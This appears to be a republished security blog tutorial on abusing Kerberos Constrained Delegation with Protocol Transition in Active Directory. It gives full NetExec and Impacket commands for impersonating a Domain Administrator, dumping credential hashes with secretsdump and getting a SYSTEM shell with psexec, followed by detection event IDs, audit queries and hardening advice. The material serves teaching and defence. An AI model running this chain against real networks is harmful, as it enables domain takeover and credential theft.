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Introduction
In the complex world of Active Directory security, a single unchecked checkbox can be the difference between a fortified network and a catastrophic domain compromise. The attack chain known as Kerberos Constrained Delegation (KCD) with Protocol Transition allows an attacker who compromises a seemingly low-privilege service account to impersonate any domain user, including a Domain Administrator, and gain unrestricted access to critical backend services without ever needing their password[reference:0]. This article provides a technical deep dive into this attack vector, offering a hands-on guide to exploitation, detection, and mitigation.
Learning Objectives
- Understand the S4U2Self and S4U2Proxy extensions that enable the “Kerberos Double Hop” abuse.
- Master enumeration and exploitation using NetExec and Impacket to impersonate privileged users and compromise target hosts.
- Implement effective detection and hardening strategies to prevent and identify KCD attacks in your environment.
You Should Know
1. Setting the Stage: Creating the Vulnerable Configuration
This attack preys on a specific Active Directory misconfiguration. To understand the exploit, you must first understand how a vulnerable environment is built. An administrator creates a domain user account (e.g., kavish) to act as a service account for an application. To allow this application to access a backend database on behalf of users, the administrator configures Constrained Delegation.
The process is as follows:
- Create the Service Account: On a Domain Controller, a new domain user is created.
net user kavish Password@1 /add /domain
- Register a Service Principal Name (SPN): An SPN must be registered for the service account so it can be a valid Kerberos target.
setspn -A HTTP/msedgewin10.ignite.local ignite\kavish
- Configure Constrained Delegation with Protocol Transition: In Active Directory Users and Computers (ADUC), the administrator opens the properties of the `kavish` account, goes to the Delegation tab, and selects:
– Trust this user for delegation to specified services only
– Use any authentication protocol (This enables Protocol Transition)
– Adds the backend service, e.g., MSSQLSvc/WIN-SQL.ignite.local:1433, to the list of services to which `kavish` can delegate[reference:1].
This configuration creates a highly dangerous scenario: the `kavish` account can now impersonate any domain user to the SQL server. This is the vulnerability an attacker will exploit.
2. The Reconnaissance: Finding the Golden Misconfiguration
Before any exploitation, an attacker must find accounts like kavish. Using a compromised set of credentials (kavish:Password@1), an attacker can enumerate the entire domain for delegation misconfigurations using NetExec (nxc). The attacker first ensures proper name resolution by editing the `/etc/hosts` file on their Kali machine[reference:2].
The command is straightforward:
nxc ldap 192.168.1.11 -u kavish -p Password@1 --find-delegation
This command queries the Domain Controller over LDAP. The output will clearly highlight accounts configured for constrained delegation, with a special flag for those with Protocol Transition (T2A4D) enabled. In our case, it confirms that `kavish` has the dangerous combination, listing the exact SPN it can delegate to[reference:3]. This single command is the attacker’s first step towards total compromise.
3. The Exploit: The S4U2Self + S4U2Proxy Dance
With the vulnerable account identified, the attacker performs the core of the attack using Impacket’s `getST.py` script. This tool automates the S4U2Self and S4U2Proxy exchange, which is the technical heart of the exploit. The attacker requests a service ticket for the target service (the SQL server) but impersonating the `Administrator` account.
The command to launch the attack is:
impacket-getST ignite.local/'kavish':Password@1 -spn MSSQLSvc/WIN-SQL.ignite.local:1433 -impersonate administrator -dc-ip 192.168.1.11
If successful, this command generates a Kerberos ticket and saves it as a `.ccache` file[reference:4]. The attacker now possesses a valid ticket that authenticates them as the Domain Administrator to the SQL server.
To use this ticket, the attacker loads it into their environment by setting the `KRB5CCNAME` environment variable:
export KRB5CCNAME=administrator@MSSQLSvc_WIN-SQL.ignite.local:[email protected]
Now, any Kerberos-aware tool will use this ticket for authentication[reference:5].
4. Post-Exploitation: From Impersonation to SYSTEM Shell
With the ticket loaded, the attacker can now directly access the target service. Using `impacket-mssqlclient` with the `-k` (Kerberos) flag, they connect to the SQL server as the impersonated Administrator without supplying any password.
impacket-mssqlclient win-sql.ignite.local -k
The attacker is now logged into the SQL Server with full administrative privileges[reference:6].
But the attack doesn’t stop there. From this foothold, the attacker can use `impacket-secretsdump` to extract all local credential material from the SQL server.
impacket-secretsdump -k -no-pass win-sql.ignite.local
This command dumps the NT hash of the local Administrator account, which can be used in Pass-the-Hash attacks, as well as cached domain credentials and LSA secrets[reference:7]. Finally, the attacker can achieve a SYSTEM-level interactive shell on the remote host using `impacket-psexec` with the stolen Kerberos ticket.
impacket-psexec [email protected] -k -no-pass -dc-ip 192.168.1.11
This provides complete control over the target host, marking a full system compromise from a single misconfigured service account[reference:8].
5. The Blue Team’s Arsenal: Detection and Hardening
Detecting this attack requires monitoring for specific, unusual patterns. Detection focuses on LDAP enumeration and anomalous Kerberos ticket requests.
- Event ID 4662: Monitor for LDAP queries targeting the `msDS-AllowedToDelegateTo` attribute, especially from non-administrative workstations[reference:9].
- Event ID 4769: This Kerberos service ticket event is critical. Look for TGS requests where the ticket options include ‘forwardable’ and the requesting account does not match the ticket subject. The presence of the `PA-FOR-USER` pre-authentication data indicates an S4U2Self request[reference:10].
- PowerShell for Auditing: Proactively audit your domain for these dangerous configurations.
Find all accounts with Constrained Delegation configured Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo,userAccountControl Find accounts with Protocol Transition enabled (T2A4D flag = 0x1000000) Get-ADUser -Filter {TrustedToAuthForDelegation -eq $true} -Properties TrustedToAuthForDelegation,msDS-AllowedToDelegateTo
Mitigation is about applying the principle of least privilege and using stronger delegation models.
– Prefer ‘Use Kerberos only’: Never use the ‘Use any authentication protocol’ option. This disables the dangerous S4U2Self capability[reference:11].
– Protect Privileged Accounts: Mark high-value accounts like Domain Admins as “Account is sensitive and cannot be delegated” and add them to the Protected Users group. This prevents their tickets from being delegated, even if an attacker compromises a delegation-enabled account[reference:12].
– Use Resource-Based Constrained Delegation (RBCD): Where possible, use RBCD as it puts the control on the target resource, offering more granular security[reference:13].
– Regular Audits: Schedule regular audits of delegation configurations and remove any that are no longer needed.
What Undercode Say
- Misconfiguration is the Real Vulnerability: The Kerberos protocol itself is secure. The attack exists because of a powerful feature, Protocol Transition, being granted to accounts that don’t need it. The ‘Use any authentication protocol’ option should be considered a high-risk configuration.
- Lateral Movement is Inevitable: This attack chain demonstrates how a single compromised low-privilege account can be a beachhead for total domain compromise. The ability to move from a service account to a Domain Administrator on a SQL server, without cracking a single password, highlights the importance of securing service accounts.
- Defense in Depth is Non-Negotiable: Relying on password complexity is useless against this attack. Effective defense requires a combination of strict delegation policies (Kerberos-only), privileged account protections (Protected Users group), and proactive detection engineering focused on LDAP and Kerberos events.
Prediction
As organizations continue to migrate legacy applications to the cloud, the complexity of identity management and delegation will only increase. Misconfigurations in cross-domain and hybrid identity scenarios will become the new frontier for Kerberos delegation abuse. Automated tools for detecting and remediating dangerous delegation settings, integrated directly into CI/CD pipelines for infrastructure-as-code, will become a standard security requirement. The arms race will shift from simple exploitation to advanced detection of anomalous S4U2Proxy chains, with defenders leveraging machine learning to baseline normal Kerberos activity and identify the subtle signals of a delegation-based intrusion in real time.
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IT/Security Reporter URL:
Reported By: Cybersecurity Activedirectory – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
